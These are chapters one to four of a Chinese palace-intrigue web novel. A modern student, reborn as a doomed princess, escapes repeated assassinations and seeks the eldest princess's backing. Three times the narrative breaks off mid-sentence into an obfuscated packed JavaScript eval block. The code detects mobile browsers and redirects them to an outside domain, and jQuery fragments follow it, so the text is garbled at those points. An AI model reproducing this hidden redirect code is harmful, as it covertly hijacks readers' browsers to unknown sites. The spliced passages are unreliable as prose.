《我是学生,皇位给我》 1. 第 1 章 华灯初上,宫廷之中丝竹之声不断,头戴朱钗,腰佩玉环的宫女们随着鼓声入场,手中捧着珍馐美味,一一摆放在贵人身前的案上。 华灯映彩,金齑玉脍,好一番富丽堂皇的宫廷之像。今日的紫薇殿中,正举办着一场盛大宫宴。 筵席之上,众人或是穿着朱紫官服,或是一身翡翠玲珑,珠光宝气,其中有名有姓有位者,更无一不是位高权重之人。每个人脸上都带着相似的温和笑意,好似今日欢聚一堂,与荣有焉。 场上,只有一个人笑不出来。 她坐在边角的位置,比较靠后,身上的衣服配饰,相比于那些坐在高位的人,要简单不少。 她瞧着至多及笄之年,宽大的宫装襦裙掩去了她有些过于消瘦的身姿,配上脸上还未彻底消退的婴儿肥,瞧着倒是多了几分精神。 李暮歌看着满桌子的好菜佳肴,咽了口口水,却不敢轻易动筷子。 这是她第一次活到万寿宴,活过剧情,她应该就不用再担心被剧情杀了。 想到这儿,李暮歌绷紧的后背稍稍放松了些。 “殿下,冬日干燥,不如先来一口这芙蓉翡翠汤,润润喉。” 跪坐在李暮歌身侧的宫人轻声提议,她微微垂眸,不敢直视公主容颜,只用余光盯着李暮歌,等她同意或拒绝。 李暮歌悄悄按了下自己的肚子,腹内空空如也,今日一天都没怎么吃饭,此刻确实有些饿了。 她先抬头看了一眼坐在最上位的那道明黄色的身影,今日是陛下的万寿宴,应该没人敢在今日动手。 想到这儿,李暮歌缓缓点头,等宫人为她盛了一碗汤,放到她手中,她立马往嘴里灌了一口。 食物填满空荡荡的胃,带来一种难以言说的满足感。 李暮歌被勾起了食欲,她又拿起筷子,夹了几口肉进嘴。 她真的太饿了,蔬菜根本没法填饱肚子,她要吃肉,她要吃主食! 连着好几口饭菜下肚,李暮歌越吃越上头,可不知道为什么,她胃里好像有火烧一般,越吃越难受。 难道是之前饿过头了? 李暮歌还没反应过来,身旁的宫女突然喊了一声。 “啊!殿下!” 李暮歌瞪圆了眼睛,手指不自觉地哆嗦了一下,银制嵌象牙筷子从手中滑落,砸在了瓷盘上,发出清脆响声,与宫人的喊叫声一起,打碎了筵席上的平静。 李暮歌只觉得五脏六腑像是被扔进了洗衣机里,疯狂甩动,难受得不行。 她张开嘴,想要说话,一口黑血从胃里涌上来,哇得一声全吐在了那一桌子好饭菜上。 天旋地转之间,世界从嘈杂归于死寂,只剩下疼痛在浑身游走,不停刺激着脆弱的神经。 我又死了。 李暮歌真佩服自己,疼成这样,还有心思想别的。 这是第几次了? 除了一开始,什么都不懂稀里糊涂死掉的那几次,之后的每一次,她都死在自己稍稍放松,以为逃过必死劫难的时候。 李暮歌以为自己不记得了,没想到死亡的记忆比她想象中要清晰很多。 她清晰地记着,这是第一百次死亡。 再睁开眼,李暮歌看见了熟悉的屋顶。 种在院中的桂花树上,有蝉鸣声不断响起,珠帘被风轻轻吹动,带来花儿的香气。 打扇的宫人坐在小几上昏昏欲睡,头顶插着的点翠缠银丝蝴蝶发钗上的蝴蝶,随着主人的晃动微微颤抖。 李暮歌的身体也在颤抖。 那种深入骨髓的疼痛,叫她迟迟无法从濒死状态中逃脱。 是谁,究竟是谁给她下了毒! 筷子上有白银,筷子没变黑说明饭菜是安全的,肯定是那一碗汤有问题! 李暮歌想着想着,眼眶一热,泪已经落下。 她之前只是个普通的女大学生,每天最大的烦恼,也不过是早上起不来上早八,谁知道那么倒霉,刚从宿舍楼出来,被不知道哪儿来的东西砸了个正着,当场没了命。 等她一睁眼,人已经成了同名同姓的庄朝十四公主——李暮歌。 李暮歌在得知自己身份的时候,当即便知道,她是穿书了,穿到了《金庭风云》之中。 穿书本来是一件死后撞大运的事情,她没有穿成主要角色,可以远离剧情,按理说是诸多穿书设定里,非常圆满的开局。 可惜的是,她这个角色正是一切的导火索,是被剧情安排在剧情开始前必死的人物。 一个被剧情杀的炮灰。 作为一本权谋夺嫡小说,《金庭风云》的剧情一开始便是皇帝的万岁宴。筵席之上,大公主送上的贺礼被人动了手脚,提前得知此事的大公主为了自保,在万寿宴宴上骤然发难,当众弹劾太子失德,残害手足 被残害的手足,就是前两天不幸身亡的十四公主——李暮歌。 李暮歌的死,是整本小说的开头,因此在李暮歌穿越之后,万寿宴开始前的四天时间里,她经历了无数次刺杀谋杀和意外。 每一次死亡后,她都会回归到刚刚穿越时的这一天,像是被卡档的游戏人物,过不去这一关,就得读档重新来过。 可李暮歌不是不知道疼痛、不惧怕生死的游戏人物,她是一个活生生的人! 每一次死亡,她都好痛啊!在现代的时候没有做过大好事,可她也没有做过什么伤天害理的坏事,为什么她要承受这份痛苦?千刀万剐也不过如此了。 她宁愿死了之后就真的死了,也不想一遍遍在轮回里重复各种死亡的过程! 李暮歌越想越气,凭什么只有她承受这份痛苦,凭什么! 她猛地坐起身,一把掀开身上的薄被,从软榻上站起来,鞋都没有穿好就大步走了出去。 打扇子的宫女本来昏昏欲睡,见此一下子就清醒了,她瞪圆一双杏眼,连忙起身追出去,一边追还一边问:“殿下,殿下您怎么了?” 皇宫之中不许跑,不许毫无仪态的疾行,宫女想要追上大步流星的李暮歌,靠快走几步是绝不可能的,她只能眼睁睁看着李暮歌走到门口,抽出门栓,拉开门往外走。 守在门口的小内侍们赶忙上前询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858467|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,都被李暮歌一句“滚”给撵到一旁去了。 李暮歌边走边将鞋提上,拖拉着鞋实在是不太好走路。 她提着裙摆,站在门口的宫道上略想了想,随后坚定转头往右走了。 不一会儿,她便走到了写有“梧桐殿”三字的大门前。 李暮歌所住之地名为春和宫,春和宫与梧桐殿相邻,她选择来梧桐殿不是因为离得近,而是因为梧桐殿里住着李暮歌的亲生母妃——良嫔娘娘。 她现在太弱了,就是去找那几个早就怀疑的人,也不可能对他们产生多少威胁。 李暮歌是疯了,但不是傻了,她不想做以卵击石的事情,让自己提前领便当,又经历一次死亡。 她一定要活下去!顺便将那些拿她当工具人的“兄弟姊妹”,通通送走! 大庄朝建朝至今已有百年,这是个架空的朝代,乱七八糟的制度混在一起,李暮歌也说不清是什么时间段,因着先皇乃是女帝,李暮歌便暂且将庄朝放在武周之后。 正因为先皇是女帝,所以当下争夺皇位的,不光有皇子,还有公主。 说到夺嫡,李暮歌觉得如今局面又像是清朝九子夺嫡。 “请殿下安!十四殿下,您怎么今日过来了!” 李暮歌入内,不出意外受到了阻挠,她瞥了一眼那过来挡着她的内侍,瞧着十三四的模样,想来是刚调到梧桐殿,只做看门或洒扫的粗活儿。 因为是刚调过来,所以不清楚情况,冒失的出来挡她。 “本殿下来看母妃,还要挑日子不成?母妃的梧桐殿有什么事,还要瞒着本殿下?母妃!儿来看您,您要将儿拦在门外吗?” 李暮歌说到最后,开始扯着嗓子喊,吓得那小内侍面色发白,连声劝说李暮歌。 “殿下,宫内不能高声呐喊,还请殿下轻声些啊。” “是谁在门口大呼小叫,成何体统!” 殿内有人快步走出,李暮歌不认识她,还是小内侍先喊了一声“翠玉姑姑”,李暮歌才知晓,这是她母妃良嫔身边的女官翠玉。 多可悲,小姑娘已经无声无息死在隔壁了,而她的亲生母亲,甚至连看都不愿意看她一眼。 没错,李暮歌穿过来的时间点,正是小姑娘去世的时间点,李暮歌也不知道原身是怎么死的,她就像是午后小憩,于睡梦中便离开了。 李暮歌不止一次想过,是否她的到来,是这个世界为了填补剧情漏洞,随便拉来的补丁,只等着她走完剧情,便强制下线。 但真是如此,为何她要一遍遍的重生! 李暮歌一团怒气涌上心头,不等那严肃的翠玉开口问安,直接喝道:“皇宫是我家,我在自家喊两声,有什么不成体统的!我要见母妃,立刻带我进去。” 气得李暮歌连本殿下的自称都不叫了。 她神情冷硬,怒火使得她一双眸子比寒星还要明亮,翠玉被她这样看着,竟不自觉有些害怕。 天潢贵胄,翠玉终于明白了这四个字的份量,哪怕是平日里温柔怯懦的小公主,也会给人带来远超常人的压迫感。 2. 第 2 章 翠玉不敢耽搁,领着李暮歌入了梧桐殿。 梧桐殿内,有一棵大梧桐树立在院中,上头系着许多红绸,风一吹,红绸唰唰作响,能看见红绸上写着一行行字,大多是祈愿的句子。 李暮歌到的时候,良嫔宁寄锦正在树下伏案题字,笔尖落下之处,正是如树上挂着的红绸一般无二的绸布。 宁寄锦今年刚三十出头,她容貌清雅,一身书香气,肤若凝脂,细眉杏眼樱桃嘴,当真是绝世佳人。 李暮歌不是第一次看见宁寄锦,但每见一次,她都会惊艳一次,然后在心里默默骂一声狗皇帝。 “儿见过母妃。”李暮歌一张脸面无表情,神情冷冰冰地给良嫔行了一礼。 良嫔听到声音,不悦地皱了皱眉,等一句词写完,才放下笔,抬头看向李暮歌。 她有一段时间没有见过这个女儿了,乍一见,竟觉得有些陌生。 良嫔不是个嘘寒问暖的性子,她并未多想,只冷淡地点点头,“坐吧。” 说完,一旁端着水盆的宫人上前,良嫔伸手,将手指不知何时沾染的墨迹洗去。 “母妃,儿要死了。” 李暮歌没坐,她静静看着良嫔,开口吐出几个字。 “哐!” 良嫔手一颤,宫人捧着的水盆落在地上,洒了一地水。 “奴婢该死!” 唰唰唰,院里的几个宫人,全都跪了下来。 尤其是那个捧着水盆的宫女,身子抖个不停,像是惧怕极了。 良嫔深吸口气,摆摆手让周遭的人都下去,她给了翠玉一个眼神,翠玉点点头,表示明白,会让那些宫人都闭嘴,不对外提及公主的话。 等人都走了,良嫔才开口问道:“十四,可是病了?竟在大庭广众之下说起胡话来。” “母妃,我看见有人要射杀我,有人跟我说是三皇姐指使刺客,但我觉得,不是她。” 小说里最后查出是三公主,也就是荣阳公主——李曙君安排人,射杀了十四公主。 安排人射箭的确实是李曙君没错,可是除了今日的射杀外,她还会经历其他死亡方式,按照李曙君的性子,一次不成,她多半会好好规划下一次,保证万无一失,不会在短时间里,安排那么多次刺杀。 所以想要她命的,绝对不止李曙君一个人。 故而,她不能只将罪名安在李曙君头上,她要将那些想杀她的人,一个个地拽出来! 良嫔无奈叹口气,“十四,荣阳何故要派人射杀你?况且,你毫发无损,行凶刺客又在何处呢?” 她想了想,上前两步,微凉的手碰了碰李暮歌的额头,“这几日你六皇姐府上比较忙,母妃一时顾不上你,你可是……” 李暮歌后退一步,六公主——姬川公主李易曲,乃是她一母所出的亲姐姐。 她的亲姐姐,也没想过要她活着。 “那就请母妃看看,儿能不能安然无恙地度过今日吧。” 她说罢,转身离开,她现在没有心情跟人辩解,更没有心情听别人劝她的话,她不想死,又没那么想活。 算了,以往那么多次死亡里,她从未见过良嫔有什么动作,想来良嫔根本不会帮她。 选错队友了,死了重来算了。 李暮歌大步走向门口,到门口时,一道光被李暮歌的余光捕捉,李暮歌的身体先她的意识做出了闪避动作。 一声箭矢落地的声音响起,李暮歌看向那落地的箭,愣愣出神。 她的身体素质没那么强,快不过箭矢,躲也躲不开,这是以往她在箭矢之下数次死亡,得来的经验。 可这次,那箭没有碰到她一点儿。 不知从哪儿掏出一把匕首的翠玉护在李暮歌身前,是她将箭矢打飞。 外头有宫人大喊有刺客,翠玉反手将匕首藏了起来,低声问愣在原地,像是吓傻了的李暮歌。 “殿下,您没事吧?” “十四!” 良嫔也看见了那惊险的一幕,吓得花容失色,她连忙跑到李暮歌身前,小心翼翼看着她。 见李暮歌没有反应,良嫔喊道:“还愣着作甚!叫太医!十四,十四你别吓母妃,你别吓母妃啊!” 李暮歌那傻愣愣的样子,真的很像是被吓丢了魂。 李暮歌确实被吓得不轻,但比起她死亡时的痛苦,这点儿惊吓算不得什么,她之所以愣在原地,是因为她没想到,翠玉竟然将箭矢挡下来了。 原来,第一轮刺杀完美通关的办法,不是在春和宫找地方躲着,而是来梧桐殿,请求良嫔的庇佑。 太医很快过来了,一起过来的还有护卫皇宫的禁卫副统领。 李暮歌不认识他。 禁卫一共有两位大统领,每位大统领手下有四位副统领,一共八位副统领,李暮歌哪儿能一一认识去。 但良嫔训斥那人的时候,提到了那人的姓,李暮歌一下就知道是谁了。 “郭副统领,禁军到底是怎么护卫皇宫的!刺客光天化日之下刺杀公主,还能逃了,你们禁军是干什么吃得!” 良嫔少有如此震怒的时候,现在她气得面色涨红,若不是脑海中骂人的词汇太少,估计已经开始问候郭副统领的十八辈祖宗了。 此刻距离李暮歌遇刺,已经过去半个时辰。 李暮歌躺在床上,太医为她诊断后,说她惊疑不定,因此给她开了安神药。 有人在窗下为她煎药,不时能闻到药汤发出来的苦味。 李暮歌觉得那个太医说得对,她确实需要安神,可要杀她的人还没死,她怎么安神? 想到这儿,李暮歌从床上坐起,直直看向已经被良嫔说得满面羞红,不知所措的郭副统领。 “六姐夫如果真心想要找到刺客,不如去没人的宫殿搜一搜,宫门重重守卫,刺客怎敢白日跑出去,估计在皇宫里哪个角落躲着呢。” 郭副统领脸上唰的一下全红了,他姓郭,父亲是吏部尚书郭泽,他是郭泽的小儿子,单名一个勇字,正是六公主未婚夫。 “多谢十四殿下指点,属下这就派人去查!还请殿下保重身体,良嫔娘娘,属下告辞。” 郭勇跟家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858468|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里着火了一样,三言两语说完,连忙领着人走了。 等郭勇离开,良嫔挥了挥手,叫左右退下,随后看着李暮歌欲言又止。 “母妃现在信儿的话了吗?” 李暮歌懒得猜想此刻良嫔在想什么,她现在满脑子都只有一个想法。 太可笑了! 莫名其妙穿越到这个世界,成为李暮歌很可笑,一次次死亡很可笑,被命运随意摆弄,犹如棋子一般身不由己也很可笑。 她大抵生来便有反骨,连续的死亡让她没有余力多想,现在她从死亡循环里被释放出来,那股子不服输的劲儿,便涌上了心头。 她很不喜欢身陷任人摆布的状态。 死里逃生并没有让她高兴,反倒让她更生气,她现在很想做些什么,发泄心中的怒火。 “十四,是谁跟你说,荣阳要找刺客杀你的?” 事实摆在眼前,容不得良嫔不信,此刻良嫔只想知道,究竟是何方神圣提前知晓了荣阳公主的谋划。 李暮歌当时只是随口一说,当然没法将那个人找出来,她转头对上良嫔满是担忧的眸子,一字一顿地说:“我要报仇。” 没错,从她一次次死亡重生后,她心里就一直想着一件事,她要报仇。 荣阳公主只是第一个。 良嫔面露难色,她轻声劝道:“母妃能理解你此刻的心情,可若真是荣阳动手,咱们无凭无据,怎么报仇?你告诉母妃,到底是谁提前告知于你此事的?咱们找到那个人,或许对方手里会有证据。” 良嫔说得话听起来很真诚,李暮歌却只想冷笑。 “无凭无据就不能报仇了吗?她杀我,难道是因为我做了对不起她的事,让她拿到了证据?” 李暮歌明白,良嫔不想对付荣阳公主,只因荣阳公主乃是贵妃之女,她的外祖是镇国大将军,手握西北军权。 贵妃本人深得皇帝恩宠,不光有荣阳这个女儿,还有五皇子魏王李时天,姐弟俩无论是在朝堂,还是私底下,关系都很好,相互扶持,良嫔根本没法与他们硬碰硬。 良嫔出身书香门第,家中多为大儒,读书人清贵,权势自然比不得戍守边关的大将军。 良嫔被李暮歌的话噎得一时说不出什么,她对上李暮歌那双满是嘲讽的眼神,只觉面上一阵发烫。 李暮歌想看穿良嫔到底在想什么,她想知道,原身在良嫔心里究竟算什么。 一个存在感不高的女儿,一个愚蠢懦弱可以随意抛弃的弃子吗? 在她无数个死亡后的世界里,良嫔可有动过为她报仇的心思? 李暮歌想起了原文,她恍然大悟,良嫔或许从来没有在意过她的死活。 因为在原文里,荣阳会被揪出来,是因为她站队太子。当时太子被大公主弹劾,无法洗清自身嫌疑,只好将荣阳推出去当挡箭牌。 谁知太子一下子选到了真正的凶手,阴差阳错为李暮歌报了仇。 小说里李暮歌已经死了两天了,良嫔除了哭以外,什么都没干。 甚至荣阳也没有遭到太严重的惩罚。 3. 第 3 章 “母妃不是那个意思,你若真想对荣阳发难,必须得有一个站得住脚的理由,否则,你父皇不会帮你。” 良嫔心中恼火,不是冲着李暮歌,是冲着荣阳。 她女儿不争不抢,尊长爱幼,从未做过得罪人的事情,荣阳不声不响便派刺客杀人,实在是太过分! 就算荣阳出身高,有外祖护着,也不该残害姊妹! 李暮歌闻言,稍稍冷静了些,良嫔见此继续说道:“那狼心狗肺之徒,行事如此狠辣,若真要杀她,需得一击必杀,不能给对方翻身的机会。” 找刺客杀回去肯定不行,因为人选实在不好找,荣阳公主早已成婚,住在宫外的公主府上,府上侍卫全是西北边军退下的高手,说句不好听的话,宫中禁军都不一定有那些人厉害,良嫔上哪儿找高手做刺客。 此刻良嫔已经顺着李暮歌的话,将荣阳公主视作幕后主使了。 李暮歌沉默了一会儿,愤怒的情绪稍稍平复了下来,她问良嫔:“母妃现在信我了?” “信,母妃相信你不会说谎。”刚刚良嫔没有回答这句话,现在她给了一个肯定的答复。“不过,我们一切都得从长计议,这样吧,你被刺杀一事,咱们暂且先压下去,看看幕后主使还有没有别的动作。” 李暮歌并未受伤,现在闹得沸沸扬扬,对她来说并不是件好事。 良嫔关心的话语让李暮歌心里好受了些,她点了点头,同意了良嫔的安排,但还是有些闷闷不乐。 良嫔见此,不知该说什么,温柔地为她端来安神汤,喂她服下后,叮嘱她好好休息,便先走了。 等良嫔离开,李暮歌一个人躺在床上,难得有时间和空闲。 过往她一直活在下一次死亡不知何时到来的恐慌中,每一次轮回都是在她死后,她睁开眼睛时,既要消化上一次死亡的痛苦,又要面对接下来的生死困局,根本没时间一个人呆着,好好想想破局的方法。 光是躲避层出不穷的刺杀,适应她完全不熟悉的时空,不认识的“亲朋”,便已经耗尽了她的所有心力。 现在有时间,正好捋剧情,她想从剧情里找到一个问题的答案,良嫔到底爱不爱原身? 剧情没法给李暮歌答案,但大概能看出来,良嫔爱她的女儿,只不过这份爱,排在许多人后面。 李暮歌很快想明白了良嫔态度前后变化巨大的原因,是因为良嫔意识到,自己有鱼死网破的心,覆巢之下无完卵,良嫔担忧出事,祸及全家。 李暮歌还挺佩服良嫔的,在意识到情况不妙后,良嫔竟然迅速改变了说话的方式,以安抚为主,目的只有一个,让要拼命的李暮歌冷静下来。 李暮歌承认,自己确实是被安抚了,她不想跟荣阳正面硬刚了。 纵观整本书,不难发现,在这个阶级分明的世界,哪怕是亲姐妹,地位也是不一样的。 原书中,荣阳杀了李暮歌,只是被训斥了一顿,随后罚她为李暮歌守孝一个月,到良嫔面前请罪,此事便了了。 但如果是李暮歌杀了荣阳,一定会出大事。 皇帝能饶过李暮歌,荣阳外祖家却绝不会放过她。 虽都是公主,但公主与公主的份量不同,荣阳颇受皇帝和太子看重,她的驸马更是朝中重臣之子,不止一个家族站在她身后。 比起荣阳公主,连封号都没有的十四公主,实在是弱小的不值一提。 那么话又说回来了,一个位高权重的公主,到底为什么会对自己没有存在感的妹妹起杀心? 原书里并没有提到这一点,李暮歌的死仅仅是太子和大公主斗法的借口。 即便查出凶手是荣阳,也不可能有人跑去问荣阳,为什么杀人。 李暮歌穿成可怜的十四公主,得了十四公主的身体,却没有她的记忆,毕竟李暮歌穿过来的时候,原身已经死了,原身连遗嘱都没留下,记忆更是没有一点儿。 “真难啊。” 李暮歌看着色泽亮丽的床幔,长叹一口气,她可太难了。 她就是个普通大学生,为什么要经历这些! 烦躁之下,好不容易压下去的怒火又翻涌出来,李暮歌越想越气,一咬牙,直接从床上起来了,穿上鞋,随手拿了一件披风,披上就走。 路上遇见梧桐殿的宫人,李暮歌只说回自己的春和宫去了,那些宫人并未多问。 李暮歌确实回了春和宫,不过她只转了一圈,随后叫上贴身宫女白芍,就直接出宫去了,目标端华公主府! 荣阳是太子的人,想要对付荣阳,必须先扳倒太子,身为半君,太子的存在足以逆转输赢。 对付太子,除了皇帝以外,只有一个人能做到,那就是端华公主——李曦年! 端华公主是皇帝的大女儿,她出生时,还是盛天皇帝在位,那位千古无一的女皇,对自己的大孙女非常疼爱。 甚至不止一次,有过立端华为皇太孙的想法。 可当今皇帝李麒并不是个简单人物,他能在波诡云谲的后宫活下来,还能在女皇统治时掌权,最后接替女皇的位置,将皇位重新迎回李家,足以看出,这人十分善于弄权,也爱争爱抢。 年幼的端华什么都不懂,比起权力,彼时幼小的她更在乎亲情。 年老的盛天皇帝更没有心力,为了孙儿去跟自己的儿子再争一次皇位,再加上从未有过皇帝传位给孙辈的事例,最后此事只能不了了之。 或许是因为端华公主差点儿抢了自己的皇位,又或者是传统思想作祟,李麒上位后,第一件事是册封二皇子李晖朝为太子。 李晖朝是皇后所出,占了一个嫡出名头,加之还是男子,被大多数信奉儒家思想的朝臣拥护。 大公主对册封太子一事,自是十分反对。 可大公主的母妃出身民间,出身几乎是后宫嫔妃里最低的那个,再加上她母妃身子不好,自她之后再无生养,她孤立无援,彼时不过及笄的她根本没法反抗皇帝的决定。 而今十多年过去,现在的大公主,早就不是当初的她了。 当初的不悦,积攒在心里多年,只等着一个借口,立马就会爆发出来。 李暮歌坐在马车里,看着马车摇摇晃晃出了皇宫,往大公主府去。 大公主府就在皇宫旁边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858469|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算太远。 李暮歌下车的时候,为她驾马车的宫人提醒她,要在申时末之前回宫,以免宫门落锁,被锁在宫外。 申时末,下午五点之前回去,现在大概是中午十二点左右,时间够用了。 李暮歌遇刺的消息被良嫔瞒得死死的,压根没有传出梧桐殿,负责此事的郭勇是良嫔女婿,两人配合默契。 现在正好方便了李暮歌,她刚遇刺,就能单独出宫来了。 没有拜帖,李暮歌被拦在了大公主府外,好在今日大公主并未外出,门口的护卫往里传了一句话,很快李暮歌就被人迎了进去。 带她入门的人是大公主门下僚属,名为僚属,实则也算是大公主养得面首。 人很年轻,估摸着不足二十,高高瘦瘦的,脸长得白白净净,头上簪着一朵盛放的白牡丹花,颇有些人比花娇。 身为僚属的智慧没看见一点儿,身为僚属的样貌,倒确实不俗。 “见过十四殿下,问殿下安。在下姓张,名秋字子竹,乃是府上幕僚,大殿下正于大厅设宴款待友人,不便前来,还请殿下随在下入内。” 张秋先与李暮歌见礼,随后恭敬地引路,他从未见过李暮歌,看向李暮歌的眼神里,难免带了三分好奇。 意识到张秋在打量自己,李暮歌不悦地看了他一眼,吓得张秋立刻收回了那好奇的眼神。 李暮歌懒得跟张秋说话,主要是她其实有一点点的社恐,真的很不喜欢跟人沟通,若不是靠着心里的那股火气,她谁都不想搭理。 还有就是,她现在能用到大公主,不代表大公主是个好人,实际上,大公主也让她很不爽,她看见大公主的人能有好脸色才怪。 因为在原文里,大公主对李暮歌的死持不屑态度,认为李暮歌太过软弱可期,但凡李暮歌强大几分,死得人就不是她了。 “那么多公主,荣阳不选年纪更小,更好下手的十八十九,偏偏选了十四,不正是因为十四无能吗?身为公主,无能到连自己的命都丢了,有什么好为她伤心的,如此无能愚蠢之人,尽早投胎去是好事。” 这段话,是大公主对她的幕僚说得,当时她赢了太子一手,躲过了太子的陷害,还坑了荣阳一把,正志得意满,笑得开心。 她的幕僚与她玩笑,问她十四殿下去世,是否为这个妹妹伤心,她醉后吐真言,说了这么一段话。 标准受害者有罪论。 你死不是因为凶手残暴不仁,是因为你太弱。 走在大公主府里,阳光照耀之下,公主府上一步一景,无处不奢华精致,碧瓦朱檐,层楼叠榭,实在是美不胜收。 可李暮歌无心欣赏建筑的壮丽,她回想起小说里大公主的为人处世,愤怒带来的勇气如潮水般褪去,此刻只觉身上一阵阵发凉。 皇室的这些公主皇子,还有那高高在上的皇帝,简直就是伪人! 思考间,走过雕梁画栋的长廊,她终于到了设宴所在的水榭。 高台之上的屋舍里,传来阵阵丝竹之声,让李暮歌不禁想起了那一场盛大的万寿宴。 在万寿宴上,她中毒身亡。 4. 第 4 章 “殿下,大殿下就在前面的水榭之中,还请容在下进去禀报一二。” 张秋的声音打断了李暮歌的回忆,李暮歌沉着脸点头,面上是说不出的厌烦。 够了,真是够了!她死了那么多次,怕什么啊?别说是伪人,就是外星人来了,今天若敢挡着她报仇的路,她照样能生撕活剥了! “哈哈哈!十四妹妹来了,怎么不让人直接进来,还通报作甚,自家姐妹,何须这样客气!” 高台之上坐着的人,此刻已经走到了门口,见到李暮歌就热情迎了上来,一口一个十四妹妹的叫着,别提多亲热了。 这就是端华公主,一个面慈心黑的家伙。 李暮歌冲端华公主行了一礼,道:“见过大皇姐,问皇姐安,今日十四上门,多有打扰,还请大皇姐勿怪。” 李暮歌看见水榭之中还有其他人,看来大公主今日还真是在家里宴请宾客,她来得巧,正好饭点赶上了。 折腾一上午,她还真有点儿饿了。 李暮歌想着,她在大公主府上,应该没人能杀她了。 她不是觉得要她命的人,无法伸手入大公主府,皇宫都能派去刺客,一个大公主府算什么? 她是信任大公主,因为她真死在大公主这儿,大公主也脱不了干系,为了自己的清白,大公主绝对不会让她死。 端华看着眼前和她女儿只差了四五岁的小公主,笑容之下是不解,不明白今日李暮歌上门,到底是有什么目的。 她和李暮歌不熟,两人相差整整十三岁,李暮歌十五,她二十八,若她再早生两年,又早早成亲,都能生李暮歌出来了。 相差年岁巨大的两人,只在宫宴上会照个面,除此之外,几乎没打过什么交道,李暮歌满六岁能满宫跑的时候,端华都嫁出去了。 “你来皇姐这儿,皇姐高兴还来不及,如何会怪罪?快快入席,在我身侧加上一桌,今日皇姐宴请旧友,她带了家中姊妹,与你年纪相仿,你认识认识?” “恭敬不如从命。” 李暮歌表示客随主便,大公主怎么安排她都行。 见李暮歌态度友好,大公主放下心来,不是来找茬砸场子的就行。 大公主宴请的旧友,是以前在宫中读书时认识的好友,当今太师的孙女颜士珍。 颜士珍自小在太师颜旭身前读书,学富五车,乃是当世天下有名的才女,现今正随祖父一起为前朝修书修史。 太师曾为皇帝授课,颜士珍勉强来算,与皇帝是同门师兄妹了。 颜士珍不光被太师教导,还曾被盛天皇帝教导过,有人曾说,颜士珍是盛天皇帝为端华公主准备的未来心腹,可惜端华公主没能成为皇太孙,继承皇位,颜士珍自然也得不到重用。 或许是因为一腔才华无处施展,颜士珍眉目间有一股挥之不去的愁意。 落座后,李暮歌才有时间好好打量书中出场被设定为反派的大公主与她的首席幕僚颜士珍。 论相貌,高官贵族没有一个丑的,即便五官一般,被权力与金钱培养出的气质,也足以让她们高出常人许多,更不要说她们穿得用得无一不是金贵之物,人靠衣装,只需坐着,锦衣珠玉便让她们耀眼夺目,将这水榭歌台衬得金碧辉煌。 颜士珍一身书香气,更叫人移不开眼睛,大公主若是人间富贵花,那颜士珍便是空谷幽兰,望之便会从心中生出清冷之感。 看完两个反派,李暮歌的目光被颜士珍身旁的人吸引了。 那人应该就是大公主说的,颜士珍的妹妹,与她年龄相仿的客人。 注意到李暮歌的目光,颜士珍的妹妹冲李暮歌微微点头笑了笑,举手敬了她一杯酒。 宴上的酒水是果酒,喝在嘴里没什么酒味,李暮歌抿了一口就没了兴趣,她饿了,想吃东西。 大公主是个妥帖人,注意到李暮歌兴致缺缺,立马安排人给她上菜。 于是在大公主与颜士珍讨论最近哪位大诗人写了名动天下的名句,哪位大儒又写出怎样令人心怡神往的词篇时,李暮歌埋头苦吃,一口接一口的下肚。 天知道,仔细算来,她得有四五天没吃过一顿好饭了。 好不容易放下心防,在万寿宴上吃一口,还没尝尝味道,先把自己给毒死了,谁能有她惨啊! 李暮歌化悲愤为食欲,吃得那叫个香,让暗中看着她的颜士珍妹妹,也不小心跟着吃了一堆下肚,直接吃撑了。 “嗝!” 颜士珍正跟大公主说着话,便听见妹小声打嗝的声音,她侧目扫了一眼,小案上的盘子,基本上全空了。 颜家……难道没让妹妹吃饱? 颜士珍略有些错愕,不敢相信自己妹妹饭量这么大。 注意到颜士珍的惊讶,妹妹颜士玉有些不好意思,“阿姊,我好像吃撑了些。” “没事,你在长身体,多吃些是好事,十四殿下好像也停箸了,不如你与殿下去湖上泛舟,消消食?” 颜士珍很欣慰妹妹能吃这么多,能吃能喝,身体才能好。 颜士玉看向上位,点了点头,“那阿姊与大殿下聊,我与十四殿下聊。” 两人说话的声音,自然被坐在上位的人听见了。 大公主问李暮歌要不要去泛舟,李暮歌想着现在人多,确实不方便说什么话,加之她吃得多了,还真想出去逛逛,就没拒绝。 水榭外是一大片荷花池,此时正是荷花初开的五月,池面上荷叶一层一层铺盖,一朵朵荷花花苞在水上立着,少有几朵已经盛开,白粉两色格外好看。 风吹过来,还能闻到清新的荷香。 